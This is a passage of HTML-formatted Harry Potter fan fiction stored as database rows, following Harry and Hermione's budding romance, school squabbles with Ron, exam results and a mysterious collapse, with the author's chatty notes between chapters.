Hermione?&nbsp; I\'m really\ntired.&quot;&nbsp; Harry asked wearily.</p>\n\n<p class="MsoNormal">&quot;I\'ve\nheard how much trouble you got into today!&nbsp;\nHonestly Harry!&nbsp; You\'re head\nboy!&nbsp; Don\'t you think it\'s time you\nfaced up to some responsibility?&nbsp; What\nsort of example do you think you\'re setting for the younger kids?&quot;&nbsp; Hermione demanded.</p>\n\n<p class="MsoNormal">&quot;A tired\none.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&quot;That\'s\nnot funny!&quot;&nbsp; Hermione said angrily.</p>\n\n<p class="MsoNormal">\'Why is she\nyelling at me?&nbsp; It\'s her fault for\ndistracting me...\'&nbsp; Harry thought to\nhimself but instead of retorting just sighed.</p>\n\n<p class="MsoNormal">After a couple\nof minutes of tense silence Harry said, &quot;Look I\'m sorry alright?&nbsp; Today wasn\'t a good day for me, I couldn\'t\ndo anything right.&nbsp; I\'m not usually that\nbad and I think the younger ones have figured out already that if you don\'t do\nyour work you get a detention.&nbsp; I merely\nreinforced that idea.&quot;&nbsp; </p>\n\n<p class="MsoNormal">Hermiones face\nsoftened a little, &quot;Bad day huh?&quot; she asked.</p>\n\n<p class="MsoNormal">Harry nodded,\n&quot;You have no idea.&nbsp; I couldn\'t keep\nmy mind on anything.&quot; \'Anything but you..\'</p>\n\n<p class="MsoNormal">Hermione stood\nup and walked over to him, wrapping her arms around him pulling him into a big\nhug.&nbsp; Harry smiled and wrapped his arms\naround her waist burying his face in her hair.&nbsp;\n</p>\n\n<p class="MsoNormal">\'I could stay\nlike this forever.\' he thought to himself.</p>\n\n<p class="MsoNormal">Hermione drew\nback a little looking up at his face, &quot;Are you al-&quot;&nbsp; Hermione was cut off as Harrys finger moved\nto rest on her lips.</p>\n\n<p class="MsoNormal">\'What am I\ndoing!?!?!&nbsp; Her...lips.&nbsp; They look so soft...they feel soft.&nbsp; If I just lean my head down I could-\'</p>\n\n<p class="MsoNormal">Harrys thoughts\ndied down as he slowly tilted his head down towards hers.&nbsp; His heart beating quickly, pounding against\nhis chest in excitement and nervousness.&nbsp;&nbsp;\nHarrys eyes were focused firmly on Hermiones lips.&nbsp; Her soft, enticing lips.&nbsp; His head tilted down a little more, his lips\nmere centimetres away from hers.&nbsp; Harry\ncould feel her breath gently tickling across his face, his hand moving from her\nlips to her cupping her cheek.&nbsp; Harry\nleaned in a little closer, mere milimetres away now.&nbsp; </p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Oh my\ngod.&nbsp; He\'s going to kiss me!\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Here goes..\'</p>\n\n<p class="MsoNormal">Harry gently\npressed his lips against hers.&nbsp;\nHermiones eyes fluttered shut and Harrys quickly followed.&nbsp; Hermiones arms slowly wrapped around his\nneck, pulling him closer.&nbsp; Harrys other\narm wrapping around her waist, pressing her up against him.&nbsp; Moments later they pulled apart, gasping for\nair a little.</p>\n\n<p class="MsoNormal">Harry\'s cheeks\ntinted with red, &quot;Hermione...I\'m sorry.&nbsp;\nI shouldn\'t have done that..I didn\'t mean to do it.&nbsp; I\'m really sorry.&quot;</p>\n\n<p class="MsoNormal">\'But I\'m not\nsorry...\'&nbsp; Harry thought to himself, \'I\nenjoyed that...I\'ve been wanting to do it all day.&nbsp; And now I have and it was the best thing ever.</p>\n\n<p class="MsoNormal">Hermione looked\ndown at the ground, &quot;It\'s alright.&quot; she said in a quiet voice.</p>\n\n<p class="MsoNormal">\'He didn\'t want\nto kiss me.&nbsp; He doesn\'t like me...god I\nfeel so stupid.\' Hermione thought dejectedly.</p>\n\n<p class="MsoNormal">Harry looked at\nthe sad look on her face and bit his lip before blurting out, &quot;No I\'m\nnot.&nbsp; I wanted to do that!&nbsp; I\'ve been wanting to do that all day and I\njust didn\'t have the courage to do it before now.&nbsp; I AM sorry but I still wanted to.&quot; he said.</p>\n\n<p class="MsoNormal">Hermione looked\nup at him through her long, dark eyelashes, &quot;Harry?&quot; she asked\nquietly before moving so she was on tip toes and gently pressed her lips\nagaisnt his.&nbsp; Harrys eyes widened in\nshock before they closed and he wrapped her arms around her again.&nbsp; Their lips pressed against each others and\ntheir thoughts were one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Thank god.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stretched\nas he climbed out of his bed, his cheeks turned red as he thought about his and\nHermiones kisses the previous night. They\'d stayed up for over an hour later,\nkissing and talking before Harry couldn\'t stay awake a moment longer and\nretreated to their own beds.&nbsp; Harrys\neyes swept over Hermiones empty and neatly made bed.&nbsp; He strained his ears but couldn\'t hear any noises coming from the\nbathroom.</p>\n\n<p class="MsoNormal">&quot;Hmm guess\nshe left early.&quot; he murmmurred to himself before going about his normal\nmorning routine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Down in the\nGreat Hall Harry sat down beside Ron and Hermione.</p>\n\n<p class="MsoNormal">&quot;Morning\nRon.&nbsp; Morning Hermione.&quot;&nbsp; Harry greeted them cheerfully but couldn\'t\nkeep a small blush from rising to his cheeks as he talked to her. </p>\n\n<p class="MsoNormal">&quot;Hi.&quot;&nbsp; Hermione said in a quiet, shy voice.</p>\n\n<p class="MsoNormal">&quot;What\'s up\nwith you this morning Hermione?&quot;&nbsp;\nRon asked raising an eyebrow, &quot;You\'ve been quiet all morning.&quot;</p>\n\n<p class="MsoNormal">Hermiones\ncheeks turned a shade of pink, which Harry found quite amusing and at the same\ntime beautiful, &quot;Nothings wrong.&nbsp;\nCan\'t I be quiet?&quot; she asked.</p>\n\n<p class="MsoNormal">Ron grinned,\n&quot;Well you can be quiet if you\'re not arguing with me.&nbsp; I won\'t deny you of that privelige.&quot;</p>\n\n<p class="MsoNormal">&quot;Privelige?&quot;\nHermione asked raising an eyebrow, her voice rising a little.</p>\n\n<p class="MsoNormal">&quot;Well\nyes,&quot; Ron said with a smirk, &quot;I mean to argue with me is a privelige\nin itself.&quot;</p>\n\n<p class="MsoNormal">&quot;You are\nso full of yourself!&quot;&nbsp; Hermione\nsaid glaring at him.</p>\n\n<p class="MsoNormal">&quot;Well at\nleast I\'m not a know-it-all.&quot;&nbsp; Ron\nshot back.</p>\n\n<p class="MsoNormal">&quot;I canNOT\nbelieve you!&quot;&nbsp; Hermione said, her\nvoice raising.</p>\n\n<p class="MsoNormal">&quot;Ugh.&nbsp; Here we go..&quot; Harry said trailing off,\nrolling his eyes and looking down at his breakfast.</p>\n\n<p class="MsoNormal">They ignored\nhim.</p>\n\n<p class="MsoNormal">&quot;And why\nnot?&nbsp; It\'s the truth!&nbsp; You\'re such a know-it-all!&quot;&nbsp; Ron said.</p>\n\n<p class="MsoNormal">&quot;At least\nI know SOMETHING.&nbsp; At least my head\nisn\'t full of air.&quot; Hermione snapped.</p>\n\n<p class="MsoNormal">&quot;Well well\nsomeones in a bad mood today.&quot;&nbsp; Ron\nsaid angrily, &quot;That time of the month huh?&nbsp; Well don\'t take it out on me!&nbsp;\nI was just joking around with you and you lost it for NO REASON.&quot;</p>\n\n<p class="MsoNormal">&quot;Guys\nmaybe you should-&quot;&nbsp; Harry\ninterrupted but was cut off by Ron.</p>\n\n<p class="MsoNormal">&quot;Stay out\nof this Harry!&quot;&nbsp; Ron said.</p>\n\n<p class="MsoNormal">&quot;At least\nhe\'s trying.&nbsp; Not like you!&quot; &nbsp;Hermione said before letting out an angry\nsigh and continuing her breakfast.</p>\n\n<p class="MsoNormal">&quot;This\nisn\'t finished.&quot;&nbsp; Ron said not\nready to let her get the last say.</p>\n\n<p class="MsoNormal">&quot;Yes it is\nunless you want a detention for an unneccessary arguement.&quot;&nbsp; Professer Moody said walking past, giving\nRon and Hermione a look before continuing to the teachers table.</p>\n\n<p class="MsoNormal">&quot;Gee\nthanks for getting me in trouble Ron.&quot;&nbsp;\nHermione said sarcastically.</p>\n\n<p class="MsoNormal">&quot;Oh\nsure.&nbsp; No problem.&nbsp; Glad to be of help.&quot;&nbsp; Ron said just as sarcastic.</p>\n\n<p class="MsoNormal">&quot;You\'re\nsuch a prat.&quot;</p>\n\n<p class="MsoNormal">&quot;Oh get\nover yourself.&quot; Ron said with a roll of his eyes.</p>\n\n<p class="MsoNormal">Harry gave them\nan uneasy look, &quot;All finished?&quot; he asked calmly.</p>\n\n<p class="MsoNormal">Ron and\nHermione glared at him.</p>\n\n<p class="MsoNormal">&quot;Alright\nthen...guess I\'ll have to be the conversationist then.&quot;&nbsp; Harry said.</p>\n\n<p class="MsoNormal">&quot;So...Harry\nhave a good evening?&quot;&nbsp; Ron asked.</p>\n\n<p class="MsoNormal">Harrys cheeks\nturned red, he glanced at Hermione before looking back at Ron who was waiting\nfor an answer.</p>\n\n<p class="MsoNormal">\'Does he know?\'</p>\n\n<p class="MsoNormal">&quot;Uhh...&quot;\nHarry said trailing off and not answering the question.</p>\n\n<p class="MsoNormal">&quot;How as\nyour detention?&quot;&nbsp; Ron prompted.</p>\n\n<p class="MsoNormal">&quot;Oh! It\nwas alright.&nbsp; Tiring.&quot;&nbsp; Harry said quickly.</p>\n\n<p class="MsoNormal">His cheeks\ngrowing increasingly redder.</p>\n\n<p class="MsoNormal">&quot;Who did\nyou have it with?&quot; Ron asked.</p>\n\n<p class="MsoNormal">&quot;Hermione.&quot;&nbsp; Harry said, saying the first name that\npopped into his head.</p>\n\n<p class="MsoNormal">&quot;Hermione?&quot;Ron\nasked confused.</p>\n\n<p class="MsoNormal">Hermione turned\ncrimson, Harry quickly followed her in turning red, &quot;I mean Snape.&quot;\nhe corrected.</p>\n\n<p class="MsoNormal">&quot;Riiiight.&quot;&nbsp; Ron said with a strange look to Harry before\neating his breakfast.</p>\n\n<p class="MsoNormal">\'God I\'m the\nbiggest idiot.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author Notes:\nAlright Please review! And please answer the qns at the top below the Reviewers.\nIt\'s really important to me to know what you guys think. </p>\n\n<p class="MsoNormal">Sorry this was\nso short but I wanted to get it out fast!&nbsp;\nBefore my exams!&nbsp; Religion\ntomorrow and Social Education the next day :oS wish me luck!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(205, 9, ' <p>Author Note: All right hi everyone.&nbsp; I&#8217;ve finally got another chapter here!&nbsp; Please don&#8217;t blame me for taking so long!! I have a good excuse!&nbsp; You see I moved country and I&#8217;m staying at my friends&#8217; house and her computer got infected with that worm virus and died and we haven&#8217;t got our furniture here yet.&nbsp; So you can see my dilemma when I finally got to check my email and found so many reviews (thanks for them all!) telling me to update.&nbsp; And I&#8217;ve just had exams too and I got moved up a class so now I&#8217;m doing the next year up history class with a few other classmates. (Which means even less time to write) AND I wrote a chapter for this a while ago by hand (which took forever!) and it somehow got thrown out.&nbsp; So I&#8217;m SO sorry that took ages to get out and it&#8217;s so short but please be patient for the next chapter! Right now I&#8217;m supposed to be preparing a French oral, studying for a science test, a maths test, an English test and have a creative writing folio and newspaper which is all due tomorrow&#8230;.</p>\n\n<blockquote>Au revoir NiaSphinx </blockquote>\n\n<p>Harry smiled nervously as their mid-term exam marks were handed back.&nbsp; Draco gave him a small smile as they waited for Snape to arrive for potions.&nbsp; </p>\n\n<p>&#8216;5&#8230;4&#8230;3&#8230;2&#8230;1&#8230;&#8217;</p>\n\n<p>CRASH. The doors swung open exactly as the class bell rang.&nbsp; Snape walked to the front of the classroom, his cloak swishing behind him.&nbsp; His oily hair was even more so today and his piercing stare swept across the only two students in his class and he placed a black manila folder on his desk.</p>\n\n<p>&#8220;Well,&#8221; he said loftily,&#8221; it seems we&#8217;re quite eager to today aren&#8217;t we?&#8221;</p>\n\n<p>Harry and Draco didn&#8217;t say anything; they just stared at the folder lying on his desk and waited.&nbsp; Snapes eyes drifted down to the folder.</p>\n\n<p>&#8220;Ah yes.&nbsp; Of course.&nbsp; How could I forget that today it is my duty to give you your mid-term exam marks.&#8221; </p>\n\n<p>Snape lazily picked up the folder and pulled out two rather large wads of paper and glanced at the two marks on the front, &#8220;I have to say I expected much worse.&#8221;</p>\n\n<p>Relief swept over Harry like a wave of warmth.</p>\n\n<p>&#8220;However...&#8221;</p>\n\n<p>&#8216;However? However isn&#8217;t good!&#8217; Harry thought terrified.</p>\n\n<p>&#8220;It could have been better.&#8221;&nbsp; Snape finished with a small smirk on his face, as if terrorising students was his favourite part of the day, which it was.</p>\n\n<p>Snape handed Draco back his mark first and Harry watched as Draco sighed with relief and started flicking through the pages for comments.&nbsp; </p>\n\n<p>Snape turned to Harry, &#8220;And this&#8230;&#8221; he said tapping the second stack of papers, &#8220;is yours.&#8221; Snape dropped the stack of papers with a loud thud on the desk.&nbsp; Startling some of the creatures situated on the bench at the front of the room.</p>\n\n<p>Harry&#8217;s heart was pounding in his chest as he turned over the papers.&nbsp; A large, red, O stared him in the face.</p>\n\n<p>&#8216;Oh thank god.&#8217; He thought to himself.</p>\n\n<p>Harry bit back a smile as Snape pursed his lips and turned away.</p>\n\n<p>&#8220;Now that you&#8217;ve finished with your marks it&#8217;s time to start today&#8217;s lesson.&nbsp; Can anyone tell me, what is a Nightingale Potion?&#8221;</p>\n\n<p>&#8220;An O?!?!&nbsp; Harry that&#8217;s fantastic!&#8221; Hermione squealed, giving Harry a tight hug.</p>\n\n<p>&#8220;Thanks Hermione.&nbsp; I don&#8217;t think I could have done it if it weren&#8217;t for your help.&#8221;&nbsp; Harry said, a small blush crossing his face.</p>\n\n<p>&#8216;I&#8217;ve got to get control of these feelings.&nbsp; What would Hermione say if she knew what I was thinking?&nbsp; She&#8217;d wack me around the head and never talk to me again.&nbsp; Under control.&nbsp; Got to get it under control.&#8217;</p>\n\n<p>Hermione drew back smiling, &#8220;All I did was help you research, you did the rest yourself.&nbsp; I&#8217;m very proud of you.&#8221; </p>\n\n<p>Harry felt warmth wash over him, like a warm summer wave crashing on the beach.</p>\n\n<p>&#8216;Ehehehehehehehe.&nbsp; Stay in control&#8230;&#8217;</p>\n\n<p>&#8220;Aw thanks Hermione.&#8221; Harry said calmly, banishing the pink from his cheeks.</p>\n\n<p>Hermione linked her arm through his, &#8220;Come on.&nbsp; You&#8217;ve got to tell Ron about this!&nbsp; He&#8217;ll be thrilled for you!&#8221;</p>\n\n<p>&#8220;Well what did you expect to get?&nbsp; You worked on that blasted thing for ages!&#8221;&nbsp; Ron said squinting at Harry, trying to keep the sun out of his eyes.</p>\n\n<p>&#8220;Ron!&nbsp; You&#8217;re supposed to say well done!&#8221;&nbsp; Hermione scolded.</p>\n\n<p>&#8220;Well I knew he was going to get an A so why praise him?&#8221; Ron asked, &#8220;He&#8217;s got a big enough head already!&#8221; </p>\n\n<p>&#8220;Oi!&#8221; Harry said tackling him and the two rolled along the ground in a short tussle.</p>\n\n<p>&#8220;Really now!&#8221; Hermione said crossing her arms and shaking her head fondly at them, &#8220;You two are the biggest kids I&#8217;ve ever met.&#8221;</p>\n\n<p>&#8220;I&#8217;ll say!&nbsp; How much have you grown NOW Ron?&#8221; Harry asked teasingly.</p>\n\n<p>Ron stuck out his tongue in retort.</p>\n\n<p>Hermione shook her head as Harry stuck out his tongue back.</p>\n\n<p>&#8220;Three year olds.&#8221; She murmured.</p>\n\n<p>&#8220;You&#8217;re the baby of the group Harry.&#8221; &nbsp;Ron said with a wink.</p>\n\n<p>Harry pursed his lips in a sulky manner, &#8220;Am not.&#8221;</p>\n\n<p>&#8220;Are too.&#8221;</p>\n\n<p>&#8220;Am not.&#8221;</p>\n\n<p>Are too.&#8221;</p>\n\n<p>&#8220;Am not.&#8221;</p>\n\n<p>&#8220;Are TOO.&#8221;</p>\n\n<p>&#8220;Hermione.&nbsp; He&#8217;s picking on me.&#8221; Harry whined.</p>\n\n<p>Hermione laughed and whacked them both around the back of the head, &#8220;Stop messing around.&nbsp; You&#8217;ve both got lots of homework to do.&#8221;</p>\n\n<p>Harry and Ron groaned at the same time, &#8220;Do we have to?&#8221;</p>\n\n<p>&#8220;What sort of question is that? Of course you do!&#8221;</p>\n\n<p>&#8220;So x = 4.&nbsp; Which means,&#8221; Harry said, yawning, &#8220;that you have to do it again.&#8221;</p>\n\n<p>Hermione frowned, &#8220;I still don&#8217;t get it.&nbsp; How is it that YOU can get it but I, who does arithmacy, can&#8217;t?&#8221;</p>\n\n<p>Harry shrugged, &#8220;Dunno.&nbsp; Look let&#8217;s try again. I know you&#8217;ll get it soon.&#8221;</p>\n\n<p>Harry and Hermione leaned over the big textbook and assignment paper and Harry pointed out bits for the fifth time that night.</p>\n\n<p>Harry glanced over at Hermione who was frowning and reading the assignment again with Harry&#8217;s writing all over it.&nbsp; Her hair was tied back in a small messy bun but a small piece was hanging down in front of her face.&nbsp; Harry watched, his heart racing, as her she licked her delicate lips and blew the piece of hair out of her face.&nbsp; She looked up to the side and caught Harry staring at her.&nbsp; He quickly blushed and looked away.</p>\n\n<p>&#8220;Alright I think I understand it now.&#8221; Hermione said looking brighter, &#8220;it&#8217;s to do with the relationship of the y-intercept isn&#8217;t it?&#8221;</p>\n\n<p>&#8220;Um&#8230;yeah.&nbsp; Look&#8230;I&#8217;ve got to do some&#8230;uh&#8230;transfiguration homework&#8230;so&#8230;uh&#8230;&#8221; Harry trailed off.</p>\n\n<p>Hermione smiled and nodded, &#8220;Of course!&nbsp; Thanks Harry.&nbsp; I&#8217;ll let you get back to your homework.&#8221;</p>\n\n<p>Harry&#8217;s heart pounded in his chest as he watched her eyes crinkle up as she smiled, &#8220;R-r-r-ight.&#8221; He stammered.</p>\n\n<p>Harry rolled off her bed in one swift move, his legs trembled beneath him and his head spun.&nbsp; He staggered to the side a few times.</p>\n\n<p>&#8220;Harry?&nbsp; Are you okay?&#8221;&nbsp; Hermione asked looking concerned and amused at the same time.</p>\n\n<p>&#8220;Wha?&nbsp; Oh yeah I&#8217;m fine thanks.&#8221;&nbsp; Harry said, his cheeks burning.</p>\n\n<p>He quickly sat down at his rather small, desk, which was covered in homework, &#8216;Alright I suppose I&#8217;d better start...&#8217;</p>\n\n<p>Harry picked up his potions homework, made a face and pulled out his parchment and quill.&nbsp; The sounds of his quill continued long into the night. Hermione feel asleep halfway through her homework, which wasn&#8217;t due for at least week, but Harry continued.&nbsp; His eyes were feeling heavy but he knew he had to finish his work or he&#8217;d have a detention the next day.&nbsp; Harry threw the piece of parchment to the side and picked up his transfiguration homework.&nbsp; He let out a small groan,&nbsp; &#8220;12 feet?&#8221; Hermione stirred in her sleep and rolled over.&nbsp; Harry ducked his head sheepishly, &#8216;I&#8217;d better be more quiet.&#8217; He thought, &#8216; It&#8217;s nearly midnight after all.&nbsp; And I know how much Hermione likes her beauty sleep.&#8217;</p>\n\n<p>Harry stood up and stretched, his chair squeaking a little.&nbsp; He turned a looked at Hermione quickly who was frowning.</p>\n\n<p>&#8220;But I&#8217;m sure I wrote that.&#8221; She murmured.</p>\n\n<p>Harry grinned, &#8216;Typical Hermione thinking about school.&#8217;</p>\n\n<p>&#8220;What do you mean I didn&#8217;t pass?&#8221; she asked rather loudly.</p>\n\n<p>Harry stifled his laughter, she rolled over and sighed peacefully.&nbsp; Harry quietly grabbed his transfiguration homework and his quill and snuck out of the room letting the door close quietly behind him.</p>\n\n<p>The small common room was completely empty, as it always was.&nbsp; Harry sat down at the small table off the side of the fire and began writing.&nbsp; The fire warmed his chilled bones and his shoulders slumped, relaxed and sleepy he leaned back in his chair and closed his eyes.</p>\n\n<p>He was walking down a long dark corridor.&nbsp; There was a small light at the end but it was so faint Harry had to squint to see it.&nbsp; Behind him there was total blackness, he couldn&#8217;t see anything but the small light in the distance.</p>\n\n<p>&#8220;Hello?&#8221; he called out, &#8220;Is anyone there?&#8221;</p>\n\n<p>&#8220;Harry!&#8221;&nbsp; A familiar voice called, &#8220;Come here!&#8221;</p>\n\n<p>Harry frowned; he knew that voice from somewhere but where&#8230;</p>\n\n<p>&#8220;Harry come on!!&nbsp; We haven&#8217;t got long!&#8221; the voice said sounding a little impatient.</p>\n\n<p>Harry started jogging in the direction of the voice, which coincidently was the direction of the light, &#8220;I&#8217;m coming.&#8221; He called out, his voice echoing.</p>\n\n<p>The small light bobbed from side to side and started moving further away.</p>\n\n<p>&#8220;No wait!&nbsp; Hold on!&#8221;&nbsp; Harry yelled running as fast as he could trying to reach the distant light in vain.&nbsp; </p>\n\n<p>He tripped over something invisible and flew through the air and lay sprawled on the ground for a few moments before jumping up and looking around.</p>\n\n<p>&#8220;What the&#8230; what did I trip over?&#8221; he wondered aloud as he rubbed his grazed hands.</p>\n\n<p>When he turned back to the light it was gone, darkness consumed him.&nbsp; It swallowed him up and he could feel himself falling further and further away from where the light had been.</p>\n\n<p>&#8220;Harry.&#8221; A sinister voice said, &#8220;Come with <i>me</i>.&nbsp; I guarantee <i>I</i> won&#8217;t run away.&#8221;</p>\n\n<p>Harry looked around for the source of the voice, &#8220;Who are you?&#8221; he asked confidently but feeling nervous.</p>\n\n<p>&#8220;Who?&nbsp; Or should you be asking what?&#8221; the voice chuckled.</p>\n\n<p>&#8220;Alright then <i>what</i> are you?&#8221; Harry asked defiantly. </p>\n\n<p>&#8220;I am something that you know.&nbsp; Something you dream of.&nbsp; But you just don&#8217;t know it.&#8221;</p>\n\n<p>&#8220;How can I not know something I know?&#8221;&nbsp; Harry asked confused, &#8220;Make sense!&#8221;</p>\n\n<p>&#8220;I am making sense you&#8217;re just not listening enough.&#8221; The voice said.</p>\n\n<p>Harry looked around for the source of the voice, &#8220;Where are you?&#8221; he asked.</p>\n\n<p>&#8220;I&#8217;m everywhere.&nbsp; You cannot escape me.&nbsp; I guarantee you that.&nbsp; We will meet again as we have done before.&#8221;</p>\n\n<p>&#8220;Before? When?&#8221;&nbsp; Harry asked, his mind and heart racing.</p>\n\n<p>&#8220;Harry.&nbsp; Harry.&nbsp; HARRY!&#8221;</p>\n\n<p>Harry jolted awake falling backwards on his chair and landing on the ground.</p>\n\n<p>&#8220;Ugh.&#8221; He moaned, his back aching.</p>\n\n<p>Hermione was leaning over him, &#8220;Did you sleep down here then?&#8221; she asked, her eyebrow raised.</p>\n\n<p>Harry awkwardly stood up, &#8220;I guess so.&nbsp; I came down here to finish my homework so I wouldn&#8217;t disturb you.&nbsp; I must have dozed off.&#8221;</p>\n\n<p>Hermione shook her head, &#8220;Honestly Harry.&nbsp; And <i>did </i>you finish your homework?&#8221; she asked.</p>\n\n<p>Harry looked at his barely 5 feet of transfiguration, &#8220;Not even close.&#8221; He admitted.</p>\n\n<p>Hermione shook her head, &#8220;Do you want me to bring you something for breakfast?&#8221; she asked good-naturedly.</p>\n\n<p>Harry sighed, &#8220;Nah it&#8217;s alright.&nbsp; I&#8217;ll manage.&nbsp; I&#8217;ll grab a bite later.&#8221;</p>\n\n<p>Hermione left the common room to let Harry finish off his remaining homework in peace.</p>\n\n<p>Harry&#8217;s brow scrunched in concentration, he glanced at his watch, yelped and quickly ran into his room to freshen up.</p>\n\n<p>Harry ran down the corridors and past a sprinting Colin Creevey, &#8220;No running in the halls!&#8221;&nbsp; Harry yelled after him.</p>\n\n<p>&#8220;But you are!&#8221;&nbsp; Colin yelled back, the two getting further and further away.</p>\n\n<p>&#8220;That&#8217;s not the point!&#8221; Harry said running around the corner and running straight into Professor McGonagall, &#8220;Sorry Professor!&#8221;&nbsp; Harry apologised, &#8220;I&#8217;m a little late.&#8221;</p>\n\n<p>&#8220;I can see that Mr. Potter.&nbsp; Detention tonight in my office for tardiness.&#8221; She said and ushered him through the door.</p>\n\n<p>Harry moaned quietly as he sat down, &#8220;Fabulous, even <i>less</i> time to do my homework.&#8221; </p>\n\n<p>&#8220;Alright Mr. Potter lets get started shall we?&#8221;&nbsp; McGonagall said sitting down at her table, &#8220;I want another 12 foot long essay on the impropriety of being late for class, running in the corridor and running into ones teacher.&#8221;&nbsp; A small smile twitched on her lips before a stern look settled on her face.</p>\n\n<p>Harry gave a look of panic, &#8220;12 feet?&#8221; he asked, his voice rising an octave, &#8220;Please professor I&#8217;ve got so much homework&#8230;&#8221; he pleaded.</p>\n\n<p>McGonagall sat up straighter in her chair, &#8220;No arguments Mr. Potter get writing and then you can leave sooner.&#8221;</p>\n\n<p>Harry groaned quietly, &#8220;Yes professor.&#8221;</p>\n\n<p>Harry began scrawling quickly on the paper, his writing a little larger and messier than usual.</p>\n\n<p>(An hour and a half later)</p>\n\n<p>Harry breathed a sigh of relief as he finished, &#8220;Finished professor.&#8221; He said handing her the parchment.</p>\n\n<p>She briefly skimmed over it, &#8220;Fine good.&nbsp; But don&#8217;t be late again.&#8221; She said as he quickly picked up his book bag and walked quickly, being careful not to run, out of the classroom.</p>\n\n<p>As soon as he was out of the classroom Harry began to jog a little, glancing at his wizard watch that he&#8217;d received from Hermione for his last birthday he swore and began to run a little faster.&nbsp; He heard a small sound coming from a classroom on his right.&nbsp; Harry slowed down and peered around the corner where he saw a small figure weeping in the darkest corner of the room.</p>\n\n<p>&#8220;Hello?&nbsp; I can&#8217;t see you too well.&#8221;&nbsp; Harry said squinting, &#8220;Are you alright?&nbsp; Do you need to see Madame Pomphrey?&#8221;</p>\n\n<p>The crying became louder almost wailing sounds.</p>\n\n<p>&#8220;Shhh.&#8221;&nbsp; Harry said soothingly, &#8220;It&#8217;s alright what&#8217;s wrong?&#8221; he asked stepping closer to the figure.</p>\n\n<p>The wailing became even louder.&nbsp; Harry put his hands over his ears as the wailing became too intense and the high-pitched wails became louder.</p>\n\n<p>&#8220;Stop!&#8221;&nbsp; Harry yelled, &#8220;Please!&nbsp; Stop!&#8221;</p>\n\n<p>The wails continued.&nbsp; Harry&#8217;s head started throbbing then suddenly a flash of pain shot through his scar.</p>\n\n<p>He cried out in pain and collapsed on his knees.&nbsp; Everything went blurry as the wailing continued and the pain in his head burst, then Harry fell into darkness.</p>\n\n<p>&#8220;Harry?&#8221; a distant voice said sounding concerned.</p>\n\n<p>Harry blinked a few times at the blurry object leaning over him.</p>\n\n<p>&#8220;Harry what on earth-? Are you alright?&#8221;&nbsp; The figure said hoisting him to his feet.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p> '),
	(205, 10, ' <p>Hey guys!&nbsp; I\'m STILL really sorry it took me so long to get the chapters out.&nbsp; It\'s nearing the end of my extremely short holidays ARG &gt;&lt;. and I\'ve got an NCEA mock exam coming up so PLEASE PLEASE PLEASE be patient!&nbsp; I\'m trying really hard to study for it because its a year ahead of me and I want to do well...</p>\n\n<p>PLZ R&amp;R</p>\n\n<p>Ja NiaSphinx</p>\n\n<p>Chapter 9 (sorry about the wrong naming of the other one)</p>\n\n<p>*\'...\'* is Hermiones thoughts *~...~* is Hermiones sort of mean subconcious thoughts</p>\n\n<p>\'...\'is Harrys thoughts and ~..~ is Harrys subconcious thoughts</p>\n\n<p>Harry blinked a few times, his vision blurry because his glasses weren\'t on.&nbsp; He sat up slowly and noticed the familiar surroundings around him.</p>\n\n<p>&quot;Not again...&quot; he sighed quietly.</p>\n\n<p>Madame Pomphrey bustled over, &quot;Good morning Mr. Potter.&nbsp; How are you feeling?&quot; she asked peering into his eyes and taking his temperature, &quot;Tongue out.&quot;</p>\n\n<p>&quot;I\'m fine.&quot; Harry said as best he could with his tongue out.</p>\n\n<p>&quot;Good good.&nbsp; I healed some of your cuts.&nbsp; You should really come to me with them.&quot;&nbsp; she said sternly.</p>\n\n<p>Harry smiled and ducked his head, &quot;Yes Miss.&quot;</p>\n\n<p>&quot;You can leave.&quot; she said and went into her office.</p>\n\n<p>Harry quickly jumped out of the bed and grabbed his clothes and went to the bathroom to change.&nbsp; Hermione was just walking in the door when he came out.</p>\n\n<p>&quot;Harry!&nbsp; How are you?&quot;&nbsp; she 